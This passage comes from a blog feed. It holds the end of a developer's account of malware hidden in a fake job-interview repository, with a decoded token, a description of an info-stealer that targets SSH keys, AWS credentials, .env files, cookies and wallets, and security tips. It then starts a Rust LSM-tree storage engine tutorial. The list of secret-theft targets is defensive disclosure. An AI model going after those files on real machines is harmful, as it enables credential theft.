&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;step&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;timestamp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777458850483&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;origToken&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;40abc18736c9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;iat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777458850&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;exp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1777459030&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This revealed exactly how their malware infrastructure operates. They built a system designed to lock the payload to a specific IP address and set an expiration timer. The &lt;code&gt;exp&lt;&#x2F;code&gt; value is a Unix timestamp that translates to April 29, 2026.&lt;&#x2F;p&gt;
&lt;p&gt;This is a highly advanced anti-analysis technique. Attackers do this so that if a security researcher gets their hands on the script later and tries to download the malware to study it, the server will reject the request because the token is expired or the IP does not match.&lt;&#x2F;p&gt;
&lt;p&gt;But here is where their own sophistication completely broke their attack chain.&lt;&#x2F;p&gt;
&lt;p&gt;I work from home on a standard Wi-Fi broadband connection. However, before I even started analyzing this sketchy repository, I turned on a simple VPN service. I did not want to expose my real home IP address to a potentially malicious command and control server.&lt;&#x2F;p&gt;
&lt;p&gt;When I looked at the IP address hardcoded into the attacker&#x27;s token, I realized it was completely different from the IP address my VPN was currently broadcasting.&lt;&#x2F;p&gt;
&lt;p&gt;This meant their over engineered trap actually saved me. Even if I had made a mistake and accidentally executed that Stage 1 dropper, the final malware never would have reached my machine. The attacker&#x27;s command and control server would have seen my incoming VPN connection, realized it did not match the IP address they baked into their token, and immediately blocked the download with a 403 Forbidden error.&lt;&#x2F;p&gt;
&lt;p&gt;They built a complex system to keep security researchers out, but a basic, everyday VPN habit was enough to completely break their malware deployment.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-were-they-actually-after&quot;&gt;What Were They Actually After?&lt;&#x2F;h2&gt;
&lt;p&gt;This was not some random kid playing a prank. This was a highly organized and automated cyberattack. But why go through all this effort to trick a developer into running a script?&lt;&#x2F;p&gt;
&lt;p&gt;Because developers are incredibly high value targets.&lt;&#x2F;p&gt;
&lt;p&gt;If I had let the Stage 1 dropper finish its job, it would have downloaded and executed &lt;code&gt;tokenlinux.sh&lt;&#x2F;code&gt;. This Stage 2 file is known in the cybersecurity world as an Info-Stealer.&lt;&#x2F;p&gt;
&lt;p&gt;Unlike ransomware that loudly encrypts your hard drive and demands money, an Info-Stealer is designed to be completely silent. Its only goal is to quickly recursively search your local directories for high value secrets, zip them up, and upload them to the attacker&#x27;s server.&lt;&#x2F;p&gt;
&lt;p&gt;They are looking for very specific things. They want your &lt;code&gt;~&#x2F;.ssh&#x2F;&lt;&#x2F;code&gt; directory so they can steal your private keys and access your GitHub or production servers. They want your &lt;code&gt;~&#x2F;.aws&#x2F;credentials&lt;&#x2F;code&gt; file so they can spin up crypto mining rigs on your company&#x27;s dime. They are hunting for local &lt;code&gt;.env&lt;&#x2F;code&gt; files that might contain expensive AI platform API keys. They also target your browser&#x27;s hidden data folders to scrape your session cookies, allowing them to bypass two-factor authentication on your web accounts. And of course, they look for local cryptocurrency wallet files.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-decision-to-dig-deeper&quot;&gt;The Decision to Dig Deeper&lt;&#x2F;h2&gt;
&lt;p&gt;At this point, I had the Stage 1 dropper and the URL for the Stage 2 payload in my hands. My initial instinct was to walk away.
I am a software engineer, not a cybersecurity expert or a malware analyst. So I initially stopped my at the first stage.&lt;&#x2F;p&gt;
&lt;p&gt;But the puzzle was too compelling to ignore for me. So in the next day, I decided to deep dive.&lt;&#x2F;p&gt;
&lt;p&gt;I documented the complete technical teardown in a dedicated follow-up post:
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;roynrishingha.com&#x2F;blog&#x2F;reverse-engineering-multi-stage-malware&#x2F;&quot;&gt;Down the Rabbit Hole: Reverse Engineering a Multi-Stage Malware Attack&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion-developer-opsec&quot;&gt;Conclusion &amp;amp; Developer OPSEC&lt;&#x2F;h2&gt;
&lt;p&gt;It is incredibly frustrating to invest time and emotional energy into a job prospect, only to realize you are actively being hunted by cybercriminals. The job search is stressful enough without having to reverse engineer the technical assessments they send you.&lt;&#x2F;p&gt;
&lt;p&gt;But this is the new reality. Threat actors are no longer just looking for unpatched servers in production. They are actively targeting the developers who build those servers, because our local machines hold the ultimate keys: SSH keys, database credentials, and cloud architecture access.&lt;&#x2F;p&gt;
&lt;p&gt;If there is one thing you take away from my experience, let it be this strict set of Operational Security (OPSEC) rules for your next technical interview:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Zero Trust for Take Home Tests
Never, ever clone an unverified repository directly onto your daily driver machine. If a company wants you to run their code, spin up an isolated environment. Use a disposable virtual machine, a Docker container, or a cloud based environment. Keep your host machine clean.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Audit Before You Trust
If you do use VS Code, pay close attention to that Workspace Trust prompt. Do not blindly click &quot;Yes&quot;. Take two minutes to open the project in Restricted Mode or a terminal editor like I did with Helix. Audit the hidden .vscode&#x2F;tasks.json file, check the package.json for malicious post install scripts, and look for anything that executes automatically.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Scope Your Credentials
If a technical assessment requires you to authenticate with your real GitHub account, never use your primary, sweeping Personal Access Token. Take the thirty seconds to generate a Fine-grained token scoped strictly to that single repository. Once the assessment is over, revoke it immediately.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Trust Your Gut
If the HR process feels disjointed, if the technical requirements make no sense for the role being tested, or if they rigidly force you to use specific tools to &quot;verify&quot; things that do not need verifying, stop. It is better to walk away from a weird interview than to spend weeks recovering your stolen digital identity.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Stay paranoid out there, and happy coding.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Building LSM-Tree Storage Engine in Rust</title>
        <published>2026-04-15T00:00:00+00:00</published>
        <updated>2026-04-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://roynrishingha.com/blog/lsmdb/"/>
        <id>https://roynrishingha.com/blog/lsmdb/</id>
        
        <content type="html" xml:base="https://roynrishingha.com/blog/lsmdb/">&lt;p&gt;I have always been fascinated by how databases actually work under the hood. We rely on them every single day. Yet the inner mechanics of how they safely store data at high speeds can feel like magic. I wanted to demystify this process for myself. I decided the absolute best way to learn was to build my own key-value storage engine from scratch. I specifically wanted to deeply understand a concept called a Log-Structured Merge Tree. Many traditional databases use a different structure called a B-Tree. Those are excellent for finding information quickly. However, they can struggle during heavy write operations because they constantly overwrite data in random physical locations. I wanted to build a system in Rust that avoids this specific bottleneck. That pure curiosity turned into my personal learning project called lsmdb. It is a simple key-value store that turns chaotic writes into extremely fast consecutive disk operations.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;designing-the-concurrency-model&quot;&gt;Designing the Concurrency Model&lt;&#x2F;h2&gt;
&lt;p&gt;The first major lesson I learned was about coordinating simultaneous actions. A storage engine has to manage incoming data and read requests all at the exact same time. If the engine stops all data traffic just to handle a single process, the entire program pauses. In software terms, this is known as &lt;strong&gt;lock contention&lt;&#x2F;strong&gt;. To solve this puzzle, I carefully designed the central &lt;strong&gt;Storage Engine&lt;&#x2F;strong&gt; coordinator. I realized I needed different synchronization tools for completely different jobs. For example, I used a strict &lt;strong&gt;Mutex&lt;&#x2F;strong&gt; lock for active memory operations. This guarantees a highly fair waiting line where every incoming write request gets an equal turn. On the other hand, the background disk tasks use shared references. They grab the necessary data reference and release the lock instantly. This keeps the main application running rapidly without any annoying delays.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;lib.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;pub&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; StorageEngine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    active_memtable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;MemTable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    immutable_memtable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Option&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;MemTable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    wal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Wal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sstables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;RwLock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;SSTableReader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    manifest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;RwLock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Manifest&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    memtable_capacity&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    next_seq_num&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;AtomicU64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    db_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;PathBuf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    block_cache&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; BlockCache&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    flush_condvar&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Mutex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Condvar&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;taming-memory-with-a-custom-skiplist&quot;&gt;Taming Memory with a Custom SkipList&lt;&#x2F;h2&gt;
&lt;p&gt;Another fascinating challenge was handling incoming data before it ever reaches the physical disk. Every new piece of data first lands in an in-memory buffer called the &lt;strong&gt;MemTable&lt;&#x2F;strong&gt;. Think of this as a bustling waiting room. Standard programming approaches often allocate tiny blocks of memory for every single new record. I quickly realized this creates severe memory fragmentation and wastes valuable processing time. To fix this entirely, I built a custom probabilistic &lt;strong&gt;SkipList&lt;&#x2F;strong&gt;. I paired this data structure with a highly specialized &lt;strong&gt;Arena allocator&lt;&#x2F;strong&gt;. This allocator grabs a giant block of memory upfront. It then tightly packs new data right next to each other sequentially. Building this taught me how to achieve incredibly fast memory access while eliminating wasted overhead completely.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;memtable&#x2F;skiplist.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;#[&lt;&#x2F;span&gt;&lt;span&gt;repr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;impl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    #[&lt;&#x2F;span&gt;&lt;span&gt;inline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; next_array_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;() -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; base_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;size_of&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;align_of&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;AtomicPtr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        (&lt;&#x2F;span&gt;&lt;span&gt;base_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) &amp;amp; !(&lt;&#x2F;span&gt;&lt;span&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
